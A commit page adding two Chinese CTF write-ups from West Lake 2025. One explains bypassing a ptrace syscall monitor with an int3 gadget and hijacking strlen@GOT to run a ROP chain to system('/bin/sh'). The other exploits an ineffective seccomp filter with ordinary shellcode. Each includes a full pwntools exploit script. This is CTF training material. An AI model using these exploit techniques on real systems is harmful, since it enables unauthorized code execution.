Skip to content

Commit 169f105

Browse files
committed
create(westlake2025): add writeups
1 parent b91b35e commit 169f105

File tree

5 files changed

+213
-0
lines changed

5 files changed

+213
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
---
2+
title: 西湖论剑 2025 初赛 - babytrace
3+
date: 2025/08/02 00:18:00
4+
updated: 2025/08/02 00:32:00
5+
tags:
6+
- ptrace
7+
- int3
8+
- libc-hook
9+
- got-hijack
10+
thumbnail: /assets/westlake2025/stack.png
11+
excerpt: 利用 `int3` 干扰 ptrace 监控,劫持 `strlen@GOT` 实现 ROP 链,最终通过 `system` 拿 shell。
12+
---
13+
14+
## 文件属性
15+
16+
|属性 ||
17+
|------|------|
18+
|Arch |amd64 |
19+
|RELRO |Full |
20+
|Canary|on |
21+
|NX |on |
22+
|PIE |on |
23+
|strip |yes |
24+
|libc |2.35-0ubuntu3.5|
25+
26+
## 解题思路
27+
28+
### 绕过ptrace的监控
29+
30+
程序使用ptrace来监控syscall,按照`ptrace(PTRACE_SYSCALL, ...)`在文档中所言,
31+
会在系统调用进入和退出时分别唤醒tracer。如果没有任何异常的话,我们就只能按照要求,
32+
只能执行`read, write, newfstat, exit, exit_group`这么几个系统调用。
33+
34+
{% note blue fa-circle-info %}
35+
我一开始不知道ptrace syscall在进入和退出时都会通知tracer,以为有一半的系统调用没有限制,
36+
导致我一直在尝试让我想做的事落在没有限制的哪一半,还是对ptrace的机制不够熟悉啊。
37+
{% endnote %}
38+
39+
我们需要的,就是需要通过什么办法,唤醒tracer,使调试关系错乱,进入syscall的时候没检查,
40+
退出syscall的时候有检查,这样就拦不住任何东西了。接下来就是一个关键的指令出场了:`int3`
41+
这个指令能够触发系统中断表中的第3项,唤醒tracer,使tracee陷入调试状态,
42+
就好像ptrace syscall执行了一样,从而骗过父进程,以为进入系统调用,实则并没有。
43+
44+
那么怎么找这样的gadget呢?ropper和ROPgadget都找不到,于是我写了这么一段代码,
45+
手动寻找`int3` gadget。
46+
47+
```python find-int3.py
48+
#!/bin/python
49+
from pwn import *
50+
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.5_amd64/libc.so.6')
51+
52+
int3s = list(libc.search(b'\xcc', executable=True))
53+
for idx, addr in enumerate(int3s):
54+
disas = libc.disasm(addr, 30)
55+
if 'ret' not in disas:
56+
continue
57+
retoff = disas.find('ret')
58+
badoff = disas.find('(bad)')
59+
callof = disas.find('call')
60+
if badoff != -1 and badoff < retoff or callof != -1 and callof < retoff:
61+
continue
62+
print(f"{idx}th gadget")
63+
print(disas)
64+
pause()
65+
```
66+
67+
经过仔细的挑选后,第726个gadget是最好的选择:它只是触发了`int3`而几乎没有任何副影响。
68+
69+
![int3](/assets/westlake2025/int3_gadget.png)
70+
71+
### 构造rop链
72+
73+
找到gadget后,就是考虑如何拿到flag了。题目给了两次任意读的机会和一次任意写的机会,
74+
看了[官方wp](https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA)后,觉得官方解法还是很妙的。
75+
76+
只有两次机会读,泄露stack和libc是最合适的,因此最好能直接控制执行流到libc上。
77+
否则就要爆破栈或者PIE了。2.35的libc的GOT表还是可以写的,因此可以借助任意写,
78+
劫持`libc.got['strlen']`,通过将栈抬高然后返回,就可以执行我们输入的ROP链,大概是这样:
79+
80+
![stack](/assets/westlake2025/stack.png)
81+
82+
这样就可以实现任意写后`puts -> +stack -> rop`。最后构造rop链加上int3,拿shell。
83+
84+
{% notel purple fa-exclamation 不能执行`execve("/bin/sh", NULL, NULL)` %}
85+
这道题不能使用`execve`,因为执行的shell启动后仍然处于被调试状态,
86+
各种syscall会在返回时被赋值为`-1`,从而被认定为失败,导致开不成shell。
87+
反倒是`system`可以,因为会先fork一次,而题目没开`PTRACE_O_TRACEFORK`
88+
因而fork后执行syscall不受限制。
89+
{% endnotel %}
90+
91+
## EXPLOIT
92+
93+
```python
94+
from pwn import *
95+
context.terminal = ['tmux','splitw','-h']
96+
context.arch = 'amd64'
97+
def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m'
98+
EXE = './babytrace'
99+
100+
def payload(lo: int):
101+
global t
102+
if lo:
103+
t = process(EXE)
104+
if lo & 2:
105+
gdb.attach(t, 'tb setter')
106+
else:
107+
t = remote('', 9999)
108+
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.5_amd64/libc.so.6')
109+
110+
def setval(buf: bytes, idx: int, val: int):
111+
t.sendlineafter(b'choose', b'1')
112+
t.sendafter(b'recv', buf)
113+
t.sendlineafter(b'which', str(idx).encode())
114+
t.sendlineafter(b'set', str(val).encode())
115+
116+
def getval(idx: int) -> int:
117+
t.sendlineafter(b'choose', b'2')
118+
t.sendlineafter(b'which', str(idx).encode())
119+
t.recvuntil(b'=')
120+
return int(t.recvline(), 10)
121+
122+
libc_base = getval(-2) - libc.symbols['_IO_2_1_stderr_']
123+
success(GOLD_TEXT(f"Leak libc_base: {libc_base:#x}"))
124+
libc.address = libc_base
125+
stack_base = getval(-4) - 0x20
126+
success(GOLD_TEXT(f'Leak stack_base: {stack_base:#x}'))
127+
128+
gadgets = ROP(libc)
129+
int3 = libc_base + 0xf6d43 # int3; nop; ret;
130+
jmp2buf = libc_base + 0x114b5c # add rsp, 0x68; ret;
131+
chain = flat(int3,
132+
gadgets.rdi.address, next(libc.search(b'/bin/sh')),
133+
gadgets.ret.address, libc.symbols['system'],
134+
gadgets.rdi.address, 0, libc.symbols['_exit'])
135+
offset = (libc.got['strlen'] - stack_base) // 8
136+
setval(flat({ 0: chain, 0x100: b'flag\0' }, filler=b'\0'), offset, jmp2buf)
137+
138+
t.clean()
139+
t.interactive()
140+
t.close()
141+
```
142+
143+
## 参考
144+
145+
1. [第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(下)](https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA)
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
---
2+
title: 西湖论剑 2025 初赛 - Heaven's door
3+
date: 2025/08/01 23:23:00
4+
updated: 2025/08/02 00:18:00
5+
tags:
6+
- noob
7+
thumbnail: /assets/westlake2025/heaven_diagram.png
8+
excerpt: 利用无效seccomp绕过限制,直接注入常规shellcode获取shell。
9+
---
10+
11+
## 文件属性
12+
13+
|属性 ||
14+
|------|------|
15+
|Arch |amd64 |
16+
|RELRO|Partial|
17+
|Canary|on |
18+
|NX |on |
19+
|PIE |off |
20+
|strip |no |
21+
22+
## seccomp rules
23+
24+
见下方图例
25+
26+
## 解题思路
27+
28+
可以读取0xc3个字节,执行shellcode,但是扫描了shellcode,只允许2个`syscall`
29+
仔细观察seccomp,整个防护是无效的!直接打常规的shellcode拿shell都行...
30+
31+
![diagram](/assets/westlake2025/heaven_diagram.png)
32+
33+
[官方wp](https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA)的解法是切换64位/32位系统调用,
34+
*dbgbgtf* 则在考虑再拼一个`syscall`出来。然而,貌似远程执行syscall后,rcx并不是 syscall
35+
之后的地址,他利用rcx做偏移写0x5失败了,最终没有打通。
36+
37+
## EXPLOIT
38+
39+
```python
40+
from pwn import *
41+
context.terminal = ['tmux','splitw','-h']
42+
context.arch = 'amd64'
43+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
44+
EXE = './heaven'
45+
46+
def payload(lo: int):
47+
global sh
48+
if lo & 4:
49+
sh = process(EXE)
50+
if lo & 2:
51+
gdb.attach(sh, 'set follow-fork-mode parent\nb *0x401709\nc')
52+
elif lo:
53+
sh = remote('127.0.0.1', 1336)
54+
if lo & 2:
55+
gdb.attach(('127.0.0.1', 1337), 'set follow-fork-mode parent\nb *0x401709\nc', EXE)
56+
else:
57+
sh = remote('', 9999)
58+
59+
sh.send(asm(shellcraft.sh()))
60+
61+
sh.clean()
62+
sh.interactive()
63+
sh.close()
64+
```
65+
66+
## 参考
67+
68+
1. [第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up(下)](https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA)
117 KB
Loading
119 KB
Loading
385 KB
Loading

0 commit comments

Comments
 (0)